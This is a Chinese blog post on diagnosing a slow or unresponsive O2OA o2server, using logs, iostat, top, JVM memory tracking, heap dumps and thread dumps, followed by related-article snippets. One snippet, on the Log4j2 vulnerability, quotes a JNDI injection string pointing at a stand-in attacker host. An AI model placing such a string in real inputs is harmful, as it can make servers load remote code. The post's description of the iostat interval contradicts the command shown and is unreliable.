O2OA(翱途)服务器故障排查

news2024/11/17 3:41:29

O2OA(翱途)开发平台针对o2server服务器在运行过程中出现的无响应或响应缓慢的问题,我们可以从多个不同方向进行深入而系统的排查,以确保能够准确识别并解决根本原因。

应用服务器日志

对于o2server服务器我们首要排查的是服务器日志。

服务器日志存放在 o2server目录下

o2server/logs/out.log

首先从该文件定位问题。这里会滚动记录所有服务器的消息,包括错误日志以及错误堆栈。大多数情况下我们从这里入手排查故障。

比如这里日志显示在实现单点登陆过程中访问远程认证服务器返回400错误,导致单点登陆失败。

服务器磁盘繁忙

iostat -dx 10 5

iostat 是一个用于监控系统输入/输出设备和 CPU 使用情况的 Linux 命令。它可以帮助用户分析磁盘性能、识别瓶颈并优化系统性能。

尤其是数据库服务器可能会有io的问题。

这个命令会每 2 秒显示一次扩展 I/O 统计信息,共显示 10 次。

iostat.png

命令输出中的最后一列 %util 表示设备的利用率百分比。它指的是在报告期间设备处于忙碌状态的时间比例。

%util 值范围从 0 到 100。 这个值越高,表示设备在报告期间越频繁地处理 I/O 请求。如果该值接近 100%,说明设备几乎一直在忙于处理读写请求,可能存在 I/O 瓶颈。 如果 %util 值较低(例如低于 50%),则表示设备的使用率较低,可能未充分利用。

检查系统负载

使用 top 命令查看 CPU、内存和进程的使用情况,检查是否有高负载的进程。

top

top 命令是用于实时监控 Linux 系统性能的工具,显示系统的 CPU 使用率、内存使用情况和运行中的进程。以下是 top 命令输出中各部分的详细解释:

top 命令输出中的 load average 表示系统在特定时间段内的平均负载,它通常包括三个数值,分别表示过去 1 分钟、5 分钟和 15 分钟的平均负载。

表示在过去的时间段内,平均有多少个进程正在等待 CPU 处理或正在使用 CPU。这个值越高,表示系统的负载越重。

top.png

如果 load average 高但 CPU 使用率相对低,可能表示 I/O 阻塞,进程在等待 I/O 操作完成。

如果 load average 的值超过 CPU 核心数量,说明系统可能处于高负载状态,可能存在性能问题。

查看系统日志:

检查 /var/log/syslog 或 /var/log/messages 中的错误信息,查看是否有异常记录。

sudo less /var/log/syslog

或者:

sudo less /var/log/messages

在 less 中,按 / 键,然后输入 error 或 fail,按 Enter 搜索。

检查磁盘空间

使用 df -h 命令查看磁盘使用情况,确保没有磁盘已满的情况。

df.png

检查服务器启动脚本

o2server的启动脚本位于o2server目录下

o2server/start_linux.sh
setsid ${current_dir}/jvm/linux_java11/bin/java -javaagent:${current_dir}/console.jar -server -Djava.awt.headless=true -Xms2g -Xmx4g -Duser.timezone=GMT+08 -XX:+HeapDumpOnOutOfMemoryError -XX:+UnlockExperimentalVMOptions -XX:+EnableJVMCI --module-path=${current_dir}/commons/module_java11 --upgrade-module-path=${current_dir}/commons/module_java11/compiler.jar:${current_dir}/commons/module_java11/compiler-management.jar -jar ${current_dir}/console.jar

默认的启动脚本设置启动脚本设置为-Xms2g -Xmx4g 请检查是否有其他参数影响了服务器。

jvm实际内存占用

如果怀疑服务器内存有泄漏首先确认jvm内存跟踪情况。

在top中显示列"RES"并非实际使用的内存,是jvm申请的内存。

启用内存跟踪需要在服务器启动脚本中手工增加参数:

-XX:NativeMemoryTracking=summary

比如添加后如下:

setsid ${current_dir}/jvm/linux_java11/bin/java -javaagent:${current_dir}/console.jar -XX:NativeMemoryTracking=summary -server -Djava.awt.headless=true -Xms2g -Xmx4g -Duser.timezone=GMT+08 -XX:+HeapDumpOnOutOfMemoryError -XX:+UnlockExperimentalVMOptions -XX:+EnableJVMCI --module-path=${current_dir}/commons/module_java11 --upgrade-module-path=${current_dir}/commons/module_java11/compiler.jar:${current_dir}/commons/module_java11/compiler-management.jar -jar ${current_dir}/console.jar

重启后可以通过命令:

jcmd <pid> VM.native_memory summary

显示内存占用情况,如果没有安装jvm,可以直接使用o2server自带jvm执行。

为当前o2server服务器进程号,可以通过top进行定位,服务器目录下的pid.log文件也记录了当前服务器的进程号。

jcmd <pid> VM.native_memory summary

native_memory.png

reserved 显示的是申请的内存,也就是top命令中看到的"RES" committed 是jvm当前实际使用的内存。

图中的Java Heap 即对内存,一般就是最大的内存开销部分。

堆内存分析

如果怀疑堆内存泄漏,那么就要进行堆内存分析。 首先要生成 heap Profiling(hprof)文件。

ctl -hd

o2server服务器提供了一个控制台命令可以快速生成hprof文件。

ctl_hd.png

也可以通过jvm提供的jmap来生成 heap Profiling 文件。

jmap -dump:format=b,file=heap.hprof <pid> 

如果没有安装jvm可以使用o2server自带的jvm运行jmap

生成hprof文件后可以通过分析工具进行分析

Memory Analyzer (MAT)

mat.png

请注意这里仅仅是"怀疑"确认还需要进一步分析。

线程分析

如果怀疑线程执行时间过长,或者发生死锁,那么就要进行线程分析。 首先要生成线程转储文件。

ctl -td

o2server服务器提供了一个控制台命令可以快速生成线程转储文件。

ctl_td.png

也可以通过jvm自带的jstack来生成转储文件

jstack <pid> > /tmp/threaddump.txt

如果没有安装jvm可以使用o2server自带的jvm运行jstack

jstack.png

您需要间隔几秒反复执行多次,这样会生成多个线程转储文件,目的是在后续步骤可以对比几个转储文件中的线程信息,判断是否有长时间运行的线程。

生成后的多个文件可以统一由分析工具打开进行分析.

IBM Thread and Monitor Dump Analyzer for Java (TMDA)

对于死锁有直接的DeadLock显示。其他则需要根据业务进一步分析。

nginx故障排查

nginx访问日志

/var/log/nginx/access.log

nginx错误日志

/var/log/nginx/error.log

通过从以上多个方向进行细致的排查和优化,我们可以有效地解决o2server服务器在运行中出现的无响应或响应缓慢的问题,提高其稳定性和性能表现。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2170733.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于大数据+大屏可视化+协同过滤算法的经济型酒店推荐系统

作者&#xff1a;计算机学姐 开发技术&#xff1a;SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等&#xff0c;“文末源码”。 专栏推荐&#xff1a;前后端分离项目源码、SpringBoot项目源码、Vue项目源码、SSM项目源码 精品专栏&#xff1a;Java精选实战项目…

【AI驱动 TDSQL-C Serverless 数据库技术实战营】AI赋能电商数据管理

随着大数据时代的到来&#xff0c;数据量的激增对数据库系统提出了更高的要求。传统的数据库管理方式已经难以满足现代企业对于灵活性、可扩展性以及成本控制的需求。在此背景下&#xff0c;Serverless架构因其按需分配资源、自动扩展等特性而受到广泛关注。本文将探讨如何利用…

高效免费!PDF秒变Word,在线免费转换工具推荐!!!

#创作灵感# 工作中&#xff0c;总是需要将pdf文件转换成word文件&#xff0c;便于后期编辑、处理、使用&#xff0c;但是又没有wps会员&#xff0c;虽然去淘宝买&#xff0c;一天也就8毛钱左右&#xff0c;但是转换文件的工作几乎每天都需要做&#xff0c;长此以往&#xff0c;…

Java零工市场小程序如何实现一站式服务

零工市场小程序作为一个为自由职业者服务的平台&#xff0c;Java编程语言是其坚实的后盾&#xff0c;为自由职业者提供了良好的服务&#xff0c;提高了用户体验感和工作效率&#xff0c;实现了一站式服务。 首先&#xff0c;用户只需在微信中就可使用&#xff0c;注册完善个人信…

GPIO模拟输出PWM调节屏幕背光亮度

一、概述 很多时候由于节省硬件资源&#xff0c;降低成本&#xff0c;会把PWM控制芯片去掉或者是改做它用&#xff0c;导致当我们想用PWM方式控制背光时只能使用普通的GPIO口。本篇文档就来讲解下如何使用GPIO模拟PWM功能进行背光的控制。本文以IMX6为例。 二、确认硬件接口 …

LLM如何结合知识图谱进行RAG

从RAG到GraphRAG&#xff1a;知识图谱如何提升大模型的检索与推理能力&#xff1f; ©作者|Zane 来源|神州问学 为什么需要知识图谱 在20世纪60年代末&#xff0c;数据库技术开始发展&#xff0c;在70年代数据库技术得到了迅猛的发展&#xff0c;成为了计算机科学的一个重…

Spring Boot 学习之路 -- 处理 HTTP 请求

前言 最近因为业务需要&#xff0c;被拉去研究后端的项目&#xff0c;代码框架基于 Spring Boot&#xff0c;对我来说完全小白&#xff0c;需要重新学习研究…出于个人习惯&#xff0c;会以 Blog 文章的方式做一些记录&#xff0c;文章内容基本来源于「 Spring Boot 从入门到精…

终于弄明白了!ChatGPT原理大白话解析,看这一篇就够了

我们熟知&#xff0c;ChatGPT能聊天画图&#xff0c;能编程啃论文&#xff0c;那么&#xff0c;这个聊天机器人到底是怎么学会与人类交流的呢&#xff1f; 经过这段时间的琢磨方神倾情板书输出讲解回头翻阅各种资料&#xff0c;也终于明白了个大概&#xff0c;在这尽量给大家用…

大直径海油输油管测径仪的技术特点

关键字:海油输油管测径仪,输油管测径仪,海油管道测径仪,非接触测径仪,大直径测径仪, 大直径海油输油管测径仪的精度是确保海油管道直径测量准确性的关键因素&#xff0c;对于保障油气的顺畅传输与安全稳定具有重要意义。 大直径海油输油管测径仪的精度通常可以达到非常高的水平…

【算法系列-数组】移除元素 (双指针)

【算法系列-数组】移除元素 (双指针) 文章目录 【算法系列-数组】移除元素 (双指针)1. 算法分析&#x1f6f8;2. 删除有序数组中的重复性(LeetCode 26)2.1 解题思路&#x1f3af;2.2 解题过程&#x1f3ac;2.3 代码举例&#x1f330; 3. 移动零(LeetCode 283)3.1 解题思路&…

【java数据结构】泛型

【java数据结构】泛型 一、包装类1.1 基本数据类型对应的包装类1.2 装箱和拆箱 二、泛型2.1 引出泛型2.2 什么是泛型2.3 语法2.3.1 泛型类2.3.2 泛型接口2.3.3 泛型方法 2.4 擦除机制2.5 泛型通配符2.5.1 <?>无限定的通配符2.5.2 <? extends T>上界的通配符2.5.3…

【算法篇】二叉树类(2)(笔记)

目录 一、Leetcode 题目 1. 左叶子之和 &#xff08;1&#xff09;迭代法 &#xff08;2&#xff09;递归法 2. 找树左下角的值 &#xff08;1&#xff09;广度优先算法 &#xff08;2&#xff09;递归法 3. 路径总和 &#xff08;1&#xff09;递归法 &#xff08;2…

移动端自适应/适配方案【详解】(含多种方案对比,推荐 viewport 方案,postcss-px-to-viewport-8-plugin 的使用等)

为什么移动端需要自适应/适配 &#xff1f; 因移动端 屏幕尺寸不同屏幕分辨率不同横竖屏 移动端自适应/适配方案 【必要】设置 meta 标签 <meta name"viewport" content"widthdevice-width, initial-scale1.0, maximum-scale1.0, user-scalable0">…

N930X音乐芯片,声光报警器语音方案:“您已进入警戒区域”

随着科技的飞速发展&#xff0c;城市规模不断扩大&#xff0c;人口密集度显著增加&#xff0c;各类安全隐患也随之而来。从商业楼宇到居民小区&#xff0c;从工业园区到交通枢纽&#xff0c;每一个角落都需要高效、可靠的安防系统来守护人们的生命财产安全。 声光报警器&#…

【ADC】SAR 型 ADC 和 ΔΣ ADC 的噪声源以及输入信号驱动和电压基准驱动电路

本文学习于TI 高精度实验室课程&#xff0c;简要介绍 SAR 型 ADC 和 ΔΣ ADC 的输入信号驱动和电压基准驱动电路&#xff0c;并介绍 SAR 和 Delta-Sigma 转换器的内在和外在噪声源。 文章目录 一、ADC 的外部噪声1.1 50/60 Hz 工频干扰1.2 混叠与抗混叠滤波器1.3 射频&#xf…

博主回归!数据结构篇启动

目录 1>>闲话 2>>数据结构前言 3>>复杂度的概念 4>>时间复杂度 5>>大O渐进表示法 6>>总结 1>>闲话 家人们好久不见&#xff0c;小编军训终于是结束了&#xff0c;大一事情太多了&#xff0c;这几天没时间健身&#xff0c;没时间…

WT2605C蓝牙语音芯片智能对话模型 人机互动 让机械设备更智能

随着人工智能技术的飞速发展&#xff0c;AI语音芯片在机械设备领域的应用日益广泛。WT2605C作为一款集成了在线TTS&#xff08;Text-To-Speech&#xff0c;文本到语音&#xff09;功能的蓝牙语音芯片&#xff0c;凭借其卓越的性能和广泛的应用前景&#xff0c;为机械设备产品带…

Apache Log4j2 远程代码执行漏洞(CVE-2021-44228)

漏洞描述&#xff1a; 当用户输入信息时&#xff0c;应用程序中的log4j 2组件会将信息记录到日志中 假如日志中包含有语句${jndi:ldap:attacker:1099/exp}&#xff0c;log4j就会去解析该信息&#xff0c;通过jndi的lookup() 方法去解析该url&#xff1a;ldap:attacker:1099/e…

vue-实现rtmp直播流

1、安装vue-video-player与videojs-flash npm install vue-video-player -S npm install videojs-flash --save 2、在main.js中引入 3、组件中使用 这样就能实现rtmp直播流在浏览器中播放&#xff0c;但有以下几点切记&#xff0c;不要入坑 1.安装vue-video-player插件一定…

Java.反射

目录 1.获取class 的三种方式 2.利用反射获取构造方法 3.利用反射获取成员变量 4.利用反射获取成员方法 1.获取class 的三种方式 全类名怎么找? 全类名报名&#xff0b;类名 package MyReflect;public class Student {private String id;private String name;private int…